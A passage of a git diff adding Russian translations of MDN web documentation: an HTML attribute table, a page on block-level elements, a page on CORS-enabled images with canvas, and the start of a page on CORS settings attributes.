+   <td>Указывает, может ли пользователь взаимодействовать с элементом.</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td>Указывает, что ссылка используется для загрузки.</td>
+  </tr>
+  <tr>
+   <td><code>draggable</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Определяет, можно ли перетаскивать элемент.</td>
+  </tr>
+  <tr>
+   <td><code>dropzone</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Указывает, что элемент принимает содержимое элемента, которое перетаскивают на него.</td>
+  </tr>
+  <tr>
+   <td><code>enctype</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Определяет тип содержимого для данных формы, когда <code>method</code> — POST.</td>
+  </tr>
+  <tr>
+   <td><code>for</code></td>
+   <td>{{ HTMLElement("label") }}, {{ HTMLElement("output") }}</td>
+   <td>Описывает элементы, которые принадлежат им.</td>
+  </tr>
+  <tr>
+   <td><code>form</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Указывает форму, которая является владельцем элемента.</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("button") }}</td>
+   <td>Указывает действие элемента, перезаписвающее действие, указанное в форме {{ HTMLElement("form") }}.</td>
+  </tr>
+  <tr>
+   <td><code>headers</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>ID элементов <code>&lt;th&gt;</code>, которые применяются к этому элементу.</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+   <td>Примечание: в некоторых экземплярах, таких как {{ HTMLElement("div") }}, это устаревший атрибут, в этом случае используйте свойство CSS {{ Cssxref("height") }}. В других экземплярах, таких как {{ HTMLElement("canvas") }}, высота должна быть задана этим атрибутом.</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td><code>accept</code></td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>Список типов, которые принимает сервер, обычно тип файла.</td>
+  </tr>
+  <tr>
+   <td><code>accept-charset</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Список поддерживаемых наборов символов.</td>
+  </tr>
+  <tr>
+   <td><code>accesskey</code></td>
+   <td><a href="/ru/docs/Web/HTML/Global_attributes" title="Глобальные атрибуты могут быть указаны для любых элементов HTML,
+даже для тех, которые не указаны в стандарте.">Глобальный атрибут</a></td>
+   <td>Определяет клавишную комбинацию для активизации или добавления фокуса к элементу.</td>
+  </tr>
+  <tr>
+   <td><code>action</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>URI адрес программы, которая обработает данные, переданные через форму.</td>
+  </tr>
+  <tr>
+   <td><code>align</code></td>
+   <td>{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}</td>
+   <td>Задаёт горизонтальное выравнивание элемента.</td>
+  </tr>
+  <tr>
+   <td><code>alt</code></td>
+   <td>
+    <p>{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}</p>
+   </td>
+   <td>Альтернативный текст, в случае, если изображение не может быть отображено.</td>
+  </tr>
+  <tr>
+   <td><code>async</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>Указывает, что скрипт должен быть выполнен асинхронно.</td>
+  </tr>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>Показывает, могут ли управляющие элементы в форме по умолчанию иметь собственные значения для автодополнения в форме.</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>На этом элементе следует автоматически сфокусироваться после загрузки страницы.</td>
+  </tr>
+  <tr>
+   <td><code>autoplay</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>Аудио и видео нужно воспроизвести как можно скорее.</td>
+  </tr>
+  <tr>
+   <td><code>autosave</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Предыдущее значения следует сохранить в выпадающем списке при загрузки страницы.</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code></td>
+   <td>{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }}</td>
+   <td>
+    <p>Цвет фона элемента.</p>
+
+    <p>Примечание: это устаревший атрибут. Используйте свойство CSS {{ Cssxref("background-color") }}.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Содержимое_в_сравнении_с_IDL_атрибутами">Содержимое в сравнении с IDL атрибутами</h2>
+
+<p>В HTML, большинство атрибутов имеют две грани: <strong>атрибут содержимого</strong> и <strong>IDL атрибут</strong>.</p>
+
+<p>Атрибут содержимого — это атрибут как вы его устанавливаете из содержимого (HTML-код), и его можно устанавливать или получать с помощью  {{domxref("element.setAttribute()")}} или {{domxref("element.getAttribute()")}}. Атрибут содержимого всегда строка, даже когда ожидаемое значение должно быть число. Например, для того чтобы установить <code>maxlength элемента </code>{{HTMLElement("input")}}  в 42 используя атрибут содержимого, вам нужно вызвать <code>setAttribute("maxlength", "42")</code> на этом элементе.</p>
+
+<p>IDL-атрибут также известен как свойство JavaScript. Это атрибуты, которые вы можете читать или устанавливать используя JavaScript-свойства наподобие <code class="moz-txt-verticalline">element.foo</code>. IDL-атрибут всегда собирается использовать (но может преобразовать) основной атрибут содержимого для возврата, когды вы получаете его и сохраняет в атрибут содержимого, когда вы устанавливаете его. Другими словами, IDL-атрибуты, в сущности, отражают атрибуты содержимого.</p>
+
+<p>Большую часть времени, IDL атрибуты возвращают их значения такими, какими они используются. Например, по умолчанию <code>type</code> для элементов {{HTMLElement("input")}} — "text", поэтому если вы установите <code>input.type="foobar"</code>, элемент <code>&lt;input&gt;</code> будет иметь тип text (по виду и по поведению) но значение атрибута содержимого "type" будет "foobar". Однако, IDL-атрибут <code>type</code> возвратит строку "text".</p>
+
+<p>IDL-атрибуты не всегда строки; например, <code>input.maxlength</code> число (long со знаком). Когда используете IDL атрибуты, вы читаете или устанавливаете значения желаемого типа, поэтому <code>input.maxlength</code> всегда намеревается вернуть число и когда вы устанавливаете <code>input.maxlength</code>, это требует число. Если вы передадите другой тип, это автоматически конвентируется в число, по стандартным правилам преобразования типов в JavaScript.</p>
+
+<p>IDL атрибуты могут <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">отображать другие типы</a> такие как unsigned long, URLs, booleans, и т.д. К несчастью нет ясных правил и способа, чтобы IDL атрибуты работали в связке с их соответствующими атрибутами содержимого в зависимости от атрибута. Большую часть времени, будет следовать <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">правилам из спецификации</a>, но иногда нет. HTML спецификации пытаются сделать это как можно дружелюбнее для разработчиков, но по различным причинам (по большинству историческим), некоторые атрибуты работают странно (<code>select.size</code>, например) и вам следует прочитать спецификацию для точного понимания того, как они работают.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/HTML/Element" title="/ru/docs/HTML/Element">HTML элементы</a></li>
+</ul>
diff --git a/files/ru/web/html/block-level_elements/index.html b/files/ru/web/html/block-level_elements/index.html
new file mode 100644
index 0000000000..ce640274c9
--- /dev/null
+++ b/files/ru/web/html/block-level_elements/index.html
@@ -0,0 +1,119 @@
+---
+title: Блочные элементы
+slug: Web/HTML/Block-level_elements
+tags:
+  - HTML
+  - HTML5
+  - Web
+  - Начинающий
+  - Разработка
+translation_of: Web/HTML/Block-level_elements
+---
+<p><span class="seoSummary">Исторически HTML-элементы было принято делить на блочные и <a href="/ru/docs/Web/HTML/Строчные_Элементы" title="/en-US/docs/HTML/inline_elements">строчные</a>. Блочные элементы занимают всю ширину своего родителя (контейнера), формально создавая «блок» (отсюда и название). </span></p>
+
+<p>Браузеры обычно отображают блочные элементы с переводом строки до и после элемента. Блочные элементы можно представить в виде стопки коробок. Следующий пример демонстрирует, как это выглядит:</p>
+
+<h2 id="Block-level_Example" name="Block-level_Example"><span style="color: #333333; margin-left: -3px; text-transform: none;">Блочные элементы</span></h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Этот абзац — блочный элемент; его цвет фона покрашен, чтобы показать родительский элемент абзаца.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p { background-color: #8ABB55; }
+</pre>
+
+<p>{{ EmbedLiveSample('Block-level_Example') }}</p>
+
+<h2 id="Использование">Использование</h2>
+
+<ul>
+ <li>Блочные элементы могут отображаться только внутри элемента {{ HTMLElement("body") }} и его потомков.</li>
+</ul>
+
+<h2 id="Блочные_против_строчных">Блочные против строчных</h2>
+
+<p>Существует несколько ключевых отличий между блочными и строчными элементами:</p>
+
+<dl>
+ <dt>Содержание</dt>
+ <dd>Как правило, блочные элементы могут содержать строчные элементы и другие блочные элементы. <span id="result_box" lang="ru"><span class="hps">Неотъемлемой частью этого</span> <span class="hps">структурного</span> <span class="hps">различия</span> <span class="hps">является идея, что</span> <span class="hps">блочные элементы</span> <span class="hps">создают</span> <span class="hps">«более крупную»</span> <span class="hps">структуру</span><span>, чем</span> <span class="hps">встроенные элементы</span><span>.</span></span></dd>
+ <dt>Форматирование по умолчанию</dt>
+ <dd>По умолчанию блочные элементы начинаются с новой строки, а строчные могут начинаться в любом месте строки.</dd>
+</dl>
+
+<p><span id="result_box" lang="ru"><span class="hps">Разделение элементов на</span> <span class="hps">блочные</span> и строчные <span class="hps">использовалось в спецификации</span> <span class="hps">HTML </span><span class="hps">до версии</span> <span class="hps">4.01</span><span>.</span> <span class="hps">В</span> <span class="hps">HTML5</span> <span class="hps">это</span> противопоставление <span class="hps">заменено более</span> <span class="hps">сложным набором </span><a href="/ru/docs/Web/Guide/HTML/Content_categories">категорий контента</a><span>.</span> <span class="atn hps">Категория </span></span>«<span lang="ru"><span>строчных</span></span>» элементов<span lang="ru"> примерно соответствует категории <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">текстового контента</a>, а для </span>«блочных» элементов прямого соответствия нет, но «блочные» и «строчные» элементы вместе <span lang="ru"><span class="hps">примерно соответствуют</span> <span class="hps">категории</span> <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">потокового контента</a><span class="hps"> в</span> <span class="hps">HTML5 (т.е., грубо говоря, «блочные» элементы — это потоковый контент минус текстовый контент).</span><span> </span></span><span lang="ru">Кроме того, <span class="hps">есть</span> и <span class="hps">другие категории, например, интерактивный контент.</span></span></p>
+
+<h2 id="Элементы">Элементы</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">Ниже приведен</span> <span class="hps">полный список всех</span> блочных <span class="hps">элементов</span> <span class="hps">(хотя </span></span>формально <span lang="ru"><span class="hps">понятие </span></span>«<span lang="ru"><span>блочный</span></span>» не применяется <span lang="ru"><span class="hps">к</span> новым <span class="hps">элементам</span> <span class="hps">в HTML5</span><span>)</span><span>.</span></span></p>
+
+<div class="threecolumns">
+<dl>
+ <dt>{{ HTMLElement("address") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Контактная информация.</span></span></dd>
+ <dt>{{ HTMLElement("article") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Содержание</span> <span class="hps">статьи.</span></span></dd>
+ <dt>{{ HTMLElement("aside") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Побочное содержание.</span></span></dd>
+ <dt>{{ HTMLElement("blockquote") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Длинная («блочная») цитата.</span></span></dd>
+ <dt>{{ HTMLElement("details") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Раскрывающийся блок с подробностями.</dd>
+ <dt>{{ HTMLElement("dialog") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Диалоговое окно.</dd>
+ <dt>{{ HTMLElement("dd") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Описание определения.</span></span></dd>
+ <dt>{{ HTMLElement("div") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Фрагмент документа.</span></span></dd>
+ <dt>{{ HTMLElement("dl") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Список определений.</span></span></dd>
+ <dt>{{ HTMLElement("dt") }}</dt>
+ <dd>Термин в списке определений.</dd>
+ <dt>{{ HTMLElement("fieldset") }}</dt>
+ <dd>Группирование элементов формы.</dd>
+ <dt>{{ HTMLElement("figcaption") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Описание для тега {{ HTMLElement("figure") }}.</span></span></dd>
+ <dt>{{ HTMLElement("figure") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru">Группирование медиа-контента <span class="hps">с подписью</span></span> (см. {{ HTMLElement("figcaption") }}).</dd>
+ <dt>{{ HTMLElement("footer") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Нижняя часть (</span></span>«<span class="short_text" lang="ru"><span class="hps">подвал</span></span>»<span class="short_text" lang="ru"><span class="hps">) раздела или страницы</span><span class="hps">.</span></span></dd>
+ <dt>{{ HTMLElement("form") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Форма ввода.</span></span></dd>
+ <dt>{{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Заголовки от первого до шестого уровня.</span></span></dd>
+ <dt>{{ HTMLElement("header") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Верхняя часть (</span></span>«<span class="short_text" lang="ru"><span class="hps">шапка</span></span>»<span class="short_text" lang="ru"><span class="hps">) раздела</span> <span class="hps">или</span><span class="hps"> страницы.</span></span></dd>
+ <dt>{{ HTMLElement("hgroup") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Группирование заголовков раздела или страницы.</dd>
+ <dt>{{ HTMLElement("hr") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Горизонтальная разделительная линия.</span></span></dd>
+ <dt>{{ HTMLElement("li") }}</dt>
+ <dd>Пункт списка.</dd>
+ <dt>{{ HTMLElement("main") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Содержит основной контент, уникальный для страницы.</dd>
+ <dt>{{ HTMLElement("nav") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd>Содержит навигационные ссылки.</dd>
+ <dt>{{ HTMLElement("ol") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Упорядоченный список.</span></span></dd>
+ <dt>{{ HTMLElement("p") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Текстовый абзац.</span></span></dd>
+ <dt>{{ HTMLElement("pre") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Предварительно форматированный текст.</span></span></dd>
+ <dt>{{ HTMLElement("section") }} {{ HTMLVersionInline(5) }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Раздел</span> <span class="hps">веб-страницы</span><span>.</span></span></dd>
+ <dt>{{ HTMLElement("table") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Таблица.</span></span></dd>
+ <dt>{{ HTMLElement("ul") }}</dt>
+ <dd><span class="short_text" id="result_box" lang="ru"><span class="hps">Неупорядоченный список.</span></span></dd>
+</dl>
+</div>
+
+<p> </p>
+
+<h3 id="See_also" name="See_also">Смотрите также</h3>
+
+<ul>
+ <li><a href="/ru/docs/Web/HTML/Строчные_Элементы">Строчные элементы</a></li>
+</ul>
diff --git a/files/ru/web/html/cors_enabled_image/index.html b/files/ru/web/html/cors_enabled_image/index.html
new file mode 100644
index 0000000000..7f856ba8af
--- /dev/null
+++ b/files/ru/web/html/cors_enabled_image/index.html
@@ -0,0 +1,118 @@
+---
+title: Разрешение использования изображений из разных источников и canvas
+slug: Web/HTML/CORS_enabled_image
+tags:
+  - Advanced
+  - Canvas
+  - HTML
+  - Reference
+  - Security
+translation_of: Web/HTML/CORS_enabled_image
+---
+<p><span class="seoSummary">HTML предоставляет атрибут {{ htmlattrxref("crossorigin", "img") }} для изображений, которые в сочетании с соответствующим заголовком {{Glossary("CORS")}} позволяют использовать изображения, определённые элементом {{ HTMLElement("img") }}, загруженные из внешних источников, в {{HTMLElement("canvas")}} , как если бы они были загружены из текущего источника. </span></p>
+
+<p>Дополнительные сведения об использовании атрибута <code>crossorigin</code> смотрите в разделе <a href="/ru/docs/Web/HTML/CORS_settings_attributes">атрибуты параметров CORS</a>.</p>
+
+<h2 id="Безопасность_и_испорченные_холсты_canvas">Безопасность и испорченные холсты canvas</h2>
+
+<p>Поскольку пиксели в растровом изображении canvas могут поступать из различных источников, включая изображения или видео, полученные с других хостов, неизбежно могут возникнуть проблемы с безопасностью.</p>
+
+<p>Как только вы рисуете на холсте любые данные, которые были загружены из другого источника без одобрения CORS, холст становится <strong>испорченным</strong>. Испорченный холст - это тот, который больше не считается безопасным, и любые попытки получить данные изображения с холста вызовут исключение.</p>
+
+<p>Если источником внешнего содержимого является элемент HTML {{HTMLElement("img")}} или SVG {{SVGElement("svg")}}, то попытка извлечения содержимого холста не допускается.</p>
+
+<p>Если внешнее содержимое поступает из изображения, полученного либо из {{domxref("HTMLCanvasElement")}}, либо из {{domxref("ImageBitMap")}}, и источник изображения не соответствует тем же правилам происхождения, попытки прочитать содержимое холста блокируются.</p>
+
+<p>Вызов любого из следующих методов на испорченном холсте приведёт к ошибке:</p>
+
+<ul>
+ <li>Вызов {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} в контексте canvas</li>
+ <li>Вызов {{domxref("HTMLCanvasElement.toBlob", "toBlob()")}} на самом элементе {{HTMLElement("canvas")}}</li>
+ <li>Вызов {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} на canvas</li>
+</ul>
+
+<p>Попытка обратиться к ним, когда холст испорчен, приведет к возникновению ошибки безопасности <code>SecurityError</code>. Это защищает пользователей от доступа к личным данным с помощью изображений для извлечения информации с удаленных веб-сайтов без разрешения.</p>
+
+<h2 id="Хранение_изображений_из_внешнего_источника">Хранение изображений из внешнего источника</h2>
+
+<p>В этом примере мы хотим разрешить извлечение изображений из внешнего источника и сохранение их в локальном хранилище. Реализация этого требует настройки сервера, а также написания кода для самого веб-сайта.</p>
+
+<h3 id="Конфигурация_веб-сервера">Конфигурация веб-сервера</h3>
+
+<p>Первое, что нам нужно, - это сервер, настроенный на размещение изображений с заголовком {{HTTPHeader("Access-Control-Allow-Origin")}}, настроенным на разрешение доступа к файлам изображений из разных источников.</p>
+
+<p>Давайте предположим, что мы обслуживаем наш сайт с помощью <a href="https://httpd.apache.org/">Apache</a>. Рассмотрим <a href="https://github.com/h5bp/server-configs-apache/blob/master/src/cross-origin/images.conf">стандартный файл конфигурации сервера Apache HTML5 для образов CORS</a>, показанный ниже:</p>
+
+<pre class="brush: xml">&lt;IfModule mod_setenvif.c&gt;
+  &lt;IfModule mod_headers.c&gt;
+    &lt;FilesMatch "\.(bmp|cur|gif|ico|jpe?g|png|svgz?|webp)$"&gt;
+      SetEnvIf Origin ":" IS_CORS
+      Header set Access-Control-Allow-Origin "*" env=IS_CORS
+    &lt;/FilesMatch&gt;
+  &lt;/IfModule&gt;
+&lt;/IfModule&gt;</pre>
+
+<p>Вкратце, это настраивает сервер на разрешение графических файлов (тех, что с расширениями ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz" и ".webp") для получения доступа из любой точки интернета.</p>
+
+<h3 id="Реализация_возможности_сохранения">Реализация возможности сохранения</h3>
+
+<p>Теперь, когда сервер настроен так, чтобы разрешить извлечение изображений из разных источников, мы можем написать код, который позволяет пользователю сохранять их в <a href="/ru/docs/Web/API/Web_Storage_API">локальном хранилище</a>, как если бы они обслуживались из того же домена, на котором выполняется код.</p>
+
+<p>Ключевым моментом является использование атрибута {{htmlattrxref("crossorigin")}} путем установки {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}}  в элементе {{domxref("HTMLImageElement")}} , на который будет загружено изображение. Это даёт браузеру команду на запрос доступа к другому источнику при попытке загрузить данные изображения.</p>
+
+<h4 id="Запуск_загрузки">Запуск загрузки</h4>
+
+<p>Код, который запускает загрузку (скажем, когда пользователь нажимает кнопку "Загрузить"), выглядит следующим образом:</p>
+
+<pre class="brush: js">function startDownload() {
+  let imageURL = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2Fmdn_logo-only_color.svg?1535749917189";
+
+  downloadedImg = new Image;
+  downloadedImg.crossOrigin = "Anonymous";
+  downloadedImg.addEventListener("load", imageReceived, false);
+  downloadedImg.src = imageURL;
+}</pre>
+
+<p>Здесь мы используем жёстко закодированный URL-адрес (<code>imageURL</code>), но он запросто может поступать откуда угодно. Чтобы начать загрузку изображения, мы создаём новый объект {{domxref("HTMLImageElement")}} с помощью конструктора {{domxref("HTMLImageElement.Image", "Image()")}}. Затем изображение настраивается так, чтобы разрешить загрузку из другого источника. Для этого его атрибут <code>crossOrigin</code> устанавливается на <code>"Anonymous"</code> (то есть разрешение неавторизованной загрузки изображения из перекрёстного источника). Прослушиватель событий добавляется к событию {{event("load")}}, запускаемому на элементе изображения, что означает, что данные изображения были получены.</p>
+
+<p>Наконец, атрибут {{domxref("HTMLImageElement.src", "src")}} изображения устанавливается в URL-адрес загружаемого изображения; это инициирует начало загрузки.</p>
+
+<h4 id="Получение_и_сохранение_изображения">Получение и сохранение изображения</h4>
+
+<p>Код, обрабатывающий недавно загруженные изображения, находится в методе <code>imageReceived()</code>:</p>
+
+<pre class="brush: js">function imageReceived() {
+  let canvas = document.createElement("canvas");
+  let context = canvas.getContext("2d");
+
+  canvas.width = downloadedImg.width;
+  canvas.height = downloadedImg.height;
+
+  context.drawImage(downloadedImg, 0, 0);
+  imageBox.appendChild(canvas);
+
+  try {
+    localStorage.setItem("saved-image-example", canvas.toDataURL("image/png"));
+  }
+  catch(err) {
+    console.log("Error: " + err);
+  }
+}</pre>
+
+<p><code>imageReceived()</code> вызывается для обработки события <code>"load"</code> в элементе <code>HTMLImageElement</code>, который получает загруженное изображение. Это событие срабатывает, как только все загруженные данные становятся доступными. Он начинается с создания нового элемента {{HTMLElement("canvas")}}, который мы будем использовать для преобразования изображения в URL-адрес данных и получения доступа к контексту 2D-рендеринга холста ({{domxref("CanvasRenderingContext2D")}}) в переменной <code>context</code>.</p>
+
+<p>Размер холста настраивается в соответствии с полученным изображением, затем изображение рисуется на холсте с помощью {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. Затем холст вставляется в документ, чтобы изображение было видно.</p>
+
+<p>Теперь пришло время действительно сохранить изображение локально. Для этого мы используем механизм локального хранения Web Storage API, доступ к которому осуществляется через {{domxref("Window.localStorage", "localStorage")}} глобально. Метод canvas {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} используется для преобразования изображения в data:// URL, представляющий изображение PNG, которое затем сохраняется в локальном хранилище с помощью {{domxref("Storage.setItem", "setItem()")}}.</p>
+
+<p>Вы можете <a href="https://cors-image-example.glitch.me/">проверить</a> или <a href="https://glitch.com/edit/#!/remix/cors-image-example">переделать</a> этот пример на Glitch.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://blog.chromium.org/2011/07/using-cross-domain-images-in-webgl-and.html">Using Cross-domain images in WebGL and Chrome 13</a></li>
+ <li><a class="external" href="http://whatwg.org/html#attr-img-crossorigin">HTML Specification - the <code>crossorigin</code> attribute</a></li>
+ <li><a href="ru/docs/Web/API/Web_Storage_API">Веб хранилище (API)</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}</div>
diff --git a/files/ru/web/html/cors_settings_attributes/index.html b/files/ru/web/html/cors_settings_attributes/index.html
new file mode 100644
index 0000000000..686989bb0c
--- /dev/null
+++ b/files/ru/web/html/cors_settings_attributes/index.html
@@ -0,0 +1,130 @@
+---
+title: CORS settings attributes
+slug: Web/HTML/CORS_settings_attributes
+translation_of: Web/HTML/Attributes/crossorigin
+---
+<p><span class="seoSummary">В HTML5 некоторые теги поддерживают <a href="/en-US/docs/HTTP/Access_control_CORS">CORS</a>, например {{ HTMLElement("img") }} или {{ HTMLElement("video") }}, имеют атрибут <code>crossorigin</code>  (<code>crossOrigin</code> свойство), которое позволяет настроить CORS запросы для данных получаемых элементом.</span> Эти атрибуты могут иметь следующие значения:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Ключевое слово</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td><code>anonymous</code></td>
+   <td>CORS запросы от этого элемента не будут передавать учетные данные.</td>
+  </tr>
+  <tr>
+   <td><code>use-credentials</code></td>
+   <td>CORS запросы от этого элемента будут передавать учетные данные.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>По умолчанию (если значение атрибута не задано), CORS не используется вообще. Ключевое слово "anonymous" означает что не будет обмена <strong>учетных данных</strong>(user credentials) через cookies, client-side SSL сертификаты или HTTP аутентификацию как описано в <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Секции Терминология CORS спецификации</a>.</p>
+
+<p>Неправильное ключевое слово или пустая строка, будет обработано как  <code>anonymous</code>.</p>
+
+<h3 id="Пример_crossorigin_с_тегом_script">Пример: crossorigin с тегом script</h3>
+
+<p>Используя тег {{HTMLElement("script")}} вы можете указать браузеру выполнять код <code>https://example.com/example-framework.js</code> без передачи user-credentials.</p>
+
+<pre class="brush: html">&lt;script src="https://example.com/example-framework.js"
+        crossorigin="anonymous"&gt;&lt;/script&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>13</td>
+   <td>{{ CompatGeckoDesktop("8.0") }}</td>
+   <td>11</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{ HTMLElement("video")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("12.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
